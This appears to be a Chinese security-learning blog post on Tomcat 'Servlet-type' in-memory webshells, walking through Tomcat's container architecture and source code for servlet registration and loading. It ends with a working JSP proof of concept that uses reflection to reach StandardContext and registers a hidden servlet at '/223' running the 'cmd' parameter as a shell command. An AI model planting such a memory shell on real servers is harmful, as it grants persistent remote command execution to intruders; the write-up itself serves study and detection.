• Tomcat Java内存马 Servlet型


    Tomcat Java内存马 Servlet型

    学完Listener型和Filter型后,了解到还有Servlet型,发现之前一些不懂的地方有点眉目了。特别是ContextConfig是怎么弄出来的,还有web.xml配置怎么读取这些问题,在ListenerFilter的时候调了好久没找到。

    什么是Servlet?

    Tomcat服务器是一个免费的开放源代码的Web应用服务器,TomcatApache软件基金会Apache Software FoundationJakarta项目中的一个核心项目,它早期的名称为catalina,后来由ApacheSun和其他一些公司及个人共同开发而成,并更名为TomcatTomcat应用服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。

    从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体

    Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)

    Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)

    Tomcat由四大容器组成,分别是EngineHostContextWrapper。这四个组件是负责关系,存在包含关系。

    Engine(引擎):表示可运行的Catalinaservlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

    Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml

    Context(上下文):代表ServletContext,它具备了Servlet运行的基本环境,它表示Web应用程序本身。Context最重要的功能就是管理它里面的Servlet实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

    Wrapper(包装器):代表一个Servlet,它负责管理一个Servlet,包括的Servlet的装载、初始化、执行以及资源回收。Wrapper是最底层的容器,它没有子容器了,所以调用它的addChild将会报错。

    Servlet

    简单了解一下Servlet后就要进行源码分析了,首先写一个Demo。这里我们选择实现Servlet接口,该接口需要@Override5个方法。

    import javax.servlet.*;
    import java.io.IOException;
    
    public class ServletDemo02 implements Servlet { // 这里打断点
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {}
    
        @Override
        public ServletConfig getServletConfig() {return null;}
    
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            System.out.println("ServletDemo02 service");
        }
    
        @Override
        public String getServletInfo() {return null;}
    
        @Override
        public void destroy() {}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    配置一下web.xml

    <servlet>
        <servlet-name>ServletDemo02servlet-name>
        <servlet-class>servlet.ServletDemo02servlet-class>
    servlet>
    
    <servlet-mapping>
        <servlet-name>ServletDemo02servlet-name>
        <url-pattern>/servletdemo02url-pattern>
    servlet-mapping>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    调试模式访问/servletdemo02目录,在StandardWrapper.setServletClass(String servletClass)打断点停下,往上回溯到ContextConfig.configureStart(),在该方法里进行实例化。

    //ContextConfig.java
    /**
     * Process a "contextConfig" event for this Context.
     */
    protected synchronized void configureStart() {
        webConfig();
    }
    
    /**
         * Scan the web.xml files that apply to the web application and merge them
         * using the rules defined in the spec. For the global web.xml files,
         * where there is duplicate configuration, the most specific level wins. ie
         * an application's web.xml takes precedence over the host level or global
         * web.xml file.
         */
    protected void webConfig(){}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    webConfig()方法里读取web.xml的各种配置

    //ContextConfig.java
    protected void webConfig() {
        WebXml webXml = createWebXml();
    
        // Parse context level web.xml
        InputSource contextWebXml = getContextWebXmlSource();
        if (!webXmlParser.parseWebXml(contextWebXml, webXml, false)) {
            ok = false;
        }
    
        // Step 9. Apply merged web.xml to Context
        if (!webXml.isMetadataComplete()) {
            if (ok) {configureContext(webXml);}
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    创建WebXml对象然后通过getContextWebXmlSource()方法把web.xml的字节流byte[]读到contextWebXml里,然后通过webXmlParser.parseWebXml(contextWebXml, webXml, false)分析字节流并将分析出的配置信息设置到webXml里。

    最后在configureContext(webXml)方法中把各种配置信息配置到Context.context上。

    configureContext(webXml)方法依次读取FilterListenerServlet的配置及其映射,我们直接关注Servlet部分

    //ContextConfig.java
    private void configureContext(WebXml webxml) {
        for (ServletDef servlet : webxml.getServlets().values()) {
            
            Wrapper wrapper = context.createWrapper();
    
            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            
            wrapper.setName(servlet.getServletName());
            wrapper.setServletClass(servlet.getServletClass());
    
    		/*...*/
           
            context.addChild(wrapper);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    Tomcat的架构设计中,一个Wrapper管理一个Servlet,换句话说Wrapper封装了一个Servlet对象,所以首先createWrapper()创建一个Wrapper,然后设置启动优先级LoadOnStartupServletName以及ServletClass

    最后将wrapper加入到contextcontext.addChild(wrapper),也就是加入到上下文

    然后再将servletservlet-mapping做映射

    //ContextConfig.java
    private void configureContext(WebXml webxml) {
    
        /*...*/
        for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }
    }
    
    //StandardContext.java
    @Override
    public void addServletMappingDecoded(String pattern, String name,
                                         boolean jspWildCard) {
    
        String adjustedPattern = adjustURLPattern(pattern);
    
        // Add this mapping to our registered set
        synchronized (servletMappingsLock) {servletMappings.put(adjustedPattern, name);}
        
        Wrapper wrapper = (Wrapper) findChild(name);
        wrapper.addMapping(adjustedPattern);
    
        fireContainerEvent("addServletMapping", adjustedPattern);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    通过Servlet的分析反而把之前比较迷糊的FilterListener如何装载的问题给顺便搞定了。

    总结一下,Servlet的生成与动态添加依次进行了以下步骤:

    1. 通过context.createWapper()创建Wapper对象;

    2. 设置ServletLoadOnStartUp的值;

    3. 设置ServletName

    4. 设置Servlet对应的Class

    5. Servlet添加到contextchildren中;

    6. URL路径和servlet类做映射。

    如何加载Servlet?

    org.apache.catalina.core.StandardWapper.loadServlet()打断点,从调用栈往上回溯到startInternal(),在startInternal()中通过loadOnStartup()方法加载和初始化被设置了load on startupservlet

    //StandardContext.java
    /**
         * Start this component and implement the requirements
         * of {@link org.apache.catalina.util.LifecycleBase#startInternal()}.
         *
         * @exception LifecycleException if this component detects a fatal error
         *  that prevents this component from being used
         */
    @Override
    protected synchronized void startInternal() throws LifecycleException
        
        if (ok) {
            if (!loadOnStartup(findChildren())){
                log.error(sm.getString("standardContext.servletFail"));
                ok = false;
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    findChildren()把之前context.addChild(wrapper)加入的字段childWrapper转换成数组给loadOnStartup()

    //StandardContext.java
    /**
     * Load and initialize all servlets marked "load on startup" in the
     * web application deployment descriptor.
     *
     * @param children Array of wrappers for all currently defined
     *  servlets (including those not declared load on startup)
     * @return true if load on startup was considered successful
     */
    public boolean loadOnStartup(Container children[]) {
    
        // Collect "load on startup" servlets that need to be initialized
        TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
        for (Container child : children) {
            Wrapper wrapper = (Wrapper) child;
            int loadOnStartup = wrapper.getLoadOnStartup();
            if (loadOnStartup < 0) {
                continue;
            }
            Integer key = Integer.valueOf(loadOnStartup);
            ArrayList<Wrapper> list = map.get(key);
            if (list == null) {
                list = new ArrayList<>();
                map.put(key, list);
            }
            list.add(wrapper);
        }
    
        // Load the collected "load on startup" servlets
        for (ArrayList<Wrapper> list : map.values()) {
            for (Wrapper wrapper : list) {
                try {
                    wrapper.load();
                } 
                catch (ServletException e) {}
            }
        }
        return true;
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    根据注释可以很容易的看出这个函数在做什么,获取所有load on startup大于0的servletwrapper.load()

    load-on-startup元素取值规则如下:

    1. 它的取值必须是一个整数;
    2. 当值小于0或者没有指定时,则表示容器在该Servlet被首次请求时才会被加载;
    3. 当值大于0或等于0时,表示容器在启动时就加载并初始化该Servlet,取值越小,优先级越高;
    4. 当取值相同时,容器就会自行选择顺序进行加载。

    Poc

    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="java.io.PrintWriter" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.connector.Request" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="org.apache.catalina.Wrapper" %>
    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    
    <%!
        Servlet servlet = new Servlet() {
            @Override
            public void init(ServletConfig servletConfig) throws ServletException {
    
            }
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException, IOException {
                String cmd = servletRequest.getParameter("cmd");
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = servletResponse.getWriter();
                out.println(output);
                out.flush();
                out.close();
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {
    
            }
        };
    %>
    
    <%
        // 一个小路径快速获得StandardContext
        Field reqF = request.getClass().getDeclaredField("request");
        reqF.setAccessible(true);
        Request req = (Request) reqF.get(request);
        StandardContext stdcontext = (StandardContext) req.getContext();
    %>
    
    <%
        Wrapper newWrapper = stdcontext.createWrapper();
        String name = servlet.getClass().getSimpleName();
        newWrapper.setName(name);
        //newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servlet);
        newWrapper.setServletClass(servlet.getClass().getName());
    %>
    
    <%
        // url绑定
        stdcontext.addChild(newWrapper);
        stdcontext.addServletMappingDecoded("/223", name);
    %>
    
    <html>
    <head>
        <title>Titletitle>
    head>
    <body>
    body>
    html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78

    不知道参考文章里的newWrapper.setLoadOnStartup(1)用意是什么,至少我本地测试就算注释了也不影响。而且根据 的取值规则看上去也没有任何影响。这里先存疑?

    参考文章

  • 相关阅读:
    【案例回顾】春节一次较波折的MySQL调优
    游戏攻略综述
    视频汇聚/视频云存储/视频监控管理平台EasyCVR安全检查的相关问题及解决方法2.0
    vcpkg安装第三方库,报错fatal error RC1107: invalid usage; use RC /? for Help
    使用Matlab软件绘制函数图像
    Ajax零基础入门 Ajax零基础入门第一天
    Spark SQL 的总体工作流程
    Linux 简介
    Python 基础面试第三弹
    毕业设计-基于机器学习的图片处理图片倾斜校正
  • 原文地址:https://blog.csdn.net/qq_40710190/article/details/125900532